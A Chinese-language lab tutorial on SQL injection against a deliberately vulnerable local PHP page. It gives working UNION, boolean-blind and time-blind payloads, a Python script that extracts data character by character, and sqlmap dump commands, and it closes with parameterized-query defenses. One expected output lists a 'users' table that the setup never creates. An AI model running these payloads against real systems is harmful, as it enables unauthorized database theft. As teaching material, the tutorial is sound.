SQL 注入深入实战:判断、UNION 拖库、盲注与防御

SQL 注入环境搭建、注入点判断、UNION 五步拖库、盲注脚本、sqlmap 自动化、参数化防御。
一、现实背景:SQL 是怎么被拼出来的
普通程序员的查询代码:
$id = $_GET['id'];
$sql = "SELECT id, title FROM articles WHERE id = " . $id;
$id 被直接拼进 SQL 字符串。当 id=1 OR 1=1 时:
SELECT id, title FROM articles WHERE id = 1 OR 1=1
恒真,返回全表。用户输入从"数据"变成了"代码",这就是 SQL 注入。
二、环境搭建(二选一)
方式 A:sqli-labs 靶场
git clone https://github.com/Audi-1/sqli-labs.git
cd sqli-labs
php -S 127.0.0.1:8000
浏览器访问,点 "Setup/reset Database",之后打 Less-1。
方式 B:自建漏洞页(本文以此讲解)
数据库:
CREATE DATABASE ctf;
USE ctf;
CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));
INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');
CREATE TABLE flag (flag VARCHAR(100));
INSERT INTO flag VALUES ('flag{sql_injection}');
vuln.php:
<?php
$conn = new mysqli("localhost", "root", "password", "ctf");
$id = $_GET['id'];
$sql = "SELECT id, title, content FROM articles WHERE id = " . $id;
$result = $conn->query($sql);
while ($row = $result->fetch_assoc()) {
echo $row['id'] . " " . $row['title'] . " " . $row['content'] . "<br>";
}
?>
启动:php -S 127.0.0.1:8000。
说明:如果你的电脑不方便装 PHP+MySQL,可以跳过本节,用"附录"里的 Python+SQLite 模拟程序跑通同样的注入过程,原理完全一致。
三、核心步骤 1:注入点判断
目的:确认参数 id 能影响 SQL 逻辑,避免在非注入点上浪费时间。
思路:用"会破坏语法"的单引号和"改变查询条件"的 AND 表达式做探测。单引号报错、恒真正常、恒假为空,三者齐备即确认。
请求 1:正常请求
目的:记录正常响应的样子,作为后续对比的基线。
curl "http://127.0.0.1:8000/vuln.php?id=1"
预期输出:
1 hello world
请求 2:单引号
目的:判断输入是否被拼进 SQL。拼进去了,单引号就会破坏语法。
curl "http://127.0.0.1:8000/vuln.php?id=1'"
预期输出(报错):
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...
原因:语句变成 WHERE id = 1',单引号未闭合。
请求 3:AND 1=1
curl "http://127.0.0.1:8000/vuln.php?id=1 AND 1=1"
预期输出:1 hello world(条件真)。
请求 4:AND 1=2
curl "http://127.0.0.1:8000/vuln.php?id=1 AND 1=2"
预期输出:空(条件假)。
判定:单引号报错 + 1=1 正常 + 1=2 为空 → 注入点确认。
四、核心步骤 2:UNION 注入五步拖库
目的:把数据库里的表和数据"借" UNION 查询显示到页面上。
思路:UNION 合并两个查询,但要求列数一致;先把第一个查询置空(id=-1),再用回显列依次输出库名、表名、列名、数据。每一步都是下一步的前提:不知道库名就筛不出表,不知道表名就查不了列。
前提:第一个查询返回空(用 id=-1),UNION 两个查询列数相同。
第 1 步:确定列数
思路:ORDER BY N 按第 N 列排序,N 超过实际列数时报错。从 1 试到报错为止,报错前的 N 就是列数。
curl "http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1"
curl "http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2"
curl "http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3"
curl "http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4"
前三条正常,第四条报错 → 共 3 列。
第 2 步:确认回显位
思路:SELECT 1,2,3 的数字会显示在页面上,显示的哪个数字对应哪一列,哪一列就能用来输出数据。
curl "http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+"
预期输出:2 3。第 2、3 列内容会显示,作为后续输出位置。
第 3 步:查数据库名
curl "http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+"
预期输出:ctf。
第 4 步:查表名
curl "http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+"
预期输出:articles,flag,users。
第 5 步:查列名
curl "http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+"
预期输出:flag。
说明:如果第 4 步看到多个表,比如 articles,flag,users,优先怀疑 flag 表;列名可能不是 flag,需要本步用 information_schema.columns 确认。
第 6 步:拿数据
curl "http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+"
预期输出:flag{sql_injection}。
验证:若第 6 步报错,通常是列名猜错,回到第 5 步把列名抄准再试。
五、核心步骤 3:盲注(页面不回显时)
目的:当页面既不显示查询结果也不报错时,把数据库当"是与否"的问答机,逐字符问出数据。
当页面不显示查询结果也不报错时,只能用"是与否"推断数据。
5.1 布尔盲注
curl "http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+"
正常 → 库名第一个字符是 c。
curl "http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+"
为空 → 不是 a。
自动化脚本:
思路:对 flag 的每个位置,逐个尝试字符,问"这一位是不是 ch";页面出现正常特征(如 hello)就说明猜对,把字符记下再问下一位。
import requests, string
# requests:HTTP 请求库;string:标准库,提供 printable(可打印字符集)。
url = "http://127.0.0.1:8000/vuln.php"
result = "" # 保存已确认的 flag 片段
for pos in range(1, 50):
# pos 从 1 开始,逐位猜测;50 是长度上限,防止死循环。
found = False
for ch in string.printable:
payload = f"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+"
# SUBSTRING(text, pos, 1):取字符串第 pos 位、长度 1 的字符。
# 内层 SELECT flag FROM flag LIMIT 1:取出 flag 表第一行。
# 整句含义:如果 flag 第 pos 位是 ch,条件为真。
r = requests.get(url, params={"id": payload})
# requests.get(url, params=...):GET 请求,params 自动做 URL 编码。
# r.text:响应正文。
if "hello" in r.text:
# 条件为真时页面正常,包含特征字符串 "hello"。
result += ch
print(result)
found = True
break
if not found or result.endswith('}'):
# 一整轮都没猜中 = 已到结尾;或以 } 结尾 = flag 结束。
break
print("flag:", result)
运行过程输出(节选):
f
fl
fla
flag{
...
flag{sql_injection}
5.2 时间盲注
页面连"正常/异常"都无法区分时,用 SLEEP 制造时间差:
curl "http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+"
响应慢 2 秒 → 条件为真。脚本判断响应时间即可。
六、核心步骤 4:sqlmap 自动化
目的:手工确认后,用工具批量完成拖库,效率更高。
命令 1:检测
思路:sqlmap 会对参数自动测试多种注入技术并报告类型。先检测确认,再定向拖库。
sqlmap -u "http://127.0.0.1:8000/vuln.php?id=1" --batch
预期输出(节选):
Parameter: id (GET)
Type: boolean-based blind
Type: UNION query
命令 2:列库
sqlmap -u "http://127.0.0.1:8000/vuln.php?id=1" --dbs
预期输出:数据库列表,含 ctf。
命令 3:导出数据
sqlmap -u "http://127.0.0.1:8000/vuln.php?id=1" -D ctf -T flag --dump
预期输出:flag 表内容 flag{sql_injection}。
七、核心步骤 5:防御
// PDO 参数化
$stmt = $pdo->prepare("SELECT id, title, content FROM articles WHERE id = ?");
$stmt->execute([$_GET['id']]);
// mysqli 参数化
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $user, $pass);
$stmt->execute();
cursor.execute("SELECT * FROM users WHERE username = ?", (name,))
参数化后,输入 1 OR 1=1 只会作为字符串比较,不再改变语句结构。
八、附录:本地可运行的 SQLite 模拟(完整输入输出)
目的:没有 PHP/MySQL 环境时,用 Python 自带 sqlite3 复现同样的"字符串拼接注入",逐条对照输出理解每一步。
没有 PHP/MySQL 时,用 Python + SQLite 复现同样的漏洞机制。保存 sim.py:
import sqlite3
# sqlite3:Python 标准库,操作 SQLite 数据库。
conn = sqlite3.connect(':memory:')
# connect(':memory:'):在内存中创建数据库,程序退出即消失,适合演示。
conn.executescript('''
CREATE TABLE articles (id INT, title TEXT, content TEXT);
INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');
CREATE TABLE flag (flag TEXT);
INSERT INTO flag VALUES ('flag{sql_injection}');
''')
# executescript:一次性执行多条 SQL,建表并插入测试数据。
def query(id_):
# 模拟服务端:把参数拼进 SQL 再执行(与漏洞 PHP 代码等价)。
cur = conn.cursor()
# cursor():创建游标对象,用于执行 SQL。
try:
cur.execute("SELECT id, title, content FROM articles WHERE id = " + id_)
# execute:执行一条 SQL;这里直接拼接 id_,即注入点。
return str(cur.fetchall())
# fetchall():取出全部结果行,str() 转成字符串方便打印。
except Exception as e:
# 语法错误等异常会走到这里,模拟"页面报错"。
return "ERROR: " + str(e)
print(query("1"))
print(query("1'"))
print(query("1 AND 1=1"))
print(query("1 AND 1=2"))
print(query("1 ORDER BY 3"))
print(query("-1 UNION SELECT 1,2,3-- "))
print(query("-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- "))
print(query("-1 UNION SELECT 1,flag,3 FROM flag-- "))
运行:
python3 sim.py
实际输出:
[(1, 'hello', 'world')]
ERROR: unrecognized token: "'"
[(1, 'hello', 'world')]
[]
[(1, 'hello', 'world')]
[(1, 2, 3)]
[(1, 'articles,flag', 3)]
[(1, 'flag{sql_injection}', 3)]
逐行对应:
| 输入 | 输出 | 结论 |
|---|---|---|
1 | 正常记录 | 基线 |
1' | 语法错误 | 注入点存在 |
1 AND 1=1 | 正常记录 | 条件真 |
1 AND 1=2 | 空 | 条件假 |
1 ORDER BY 3 | 正常 | 至少 3 列 |
-1 UNION SELECT 1,2,3 | (1, 2, 3) | 3 列且回显 |
| 查 sqlite_master | articles,flag | 表名(SQLite 的元数据表;MySQL 用 information_schema.tables) |
| 查 flag 表 | flag{sql_injection} | 拿到 flag |
九、小结
SQL 注入主线:判断注入点 → UNION 逐层拿数据(列数→库→表→列→数据)→ 盲注兜底 → sqlmap 加速 → 参数化防御。练完 sqli-labs 前 10 关即可掌握全部内容。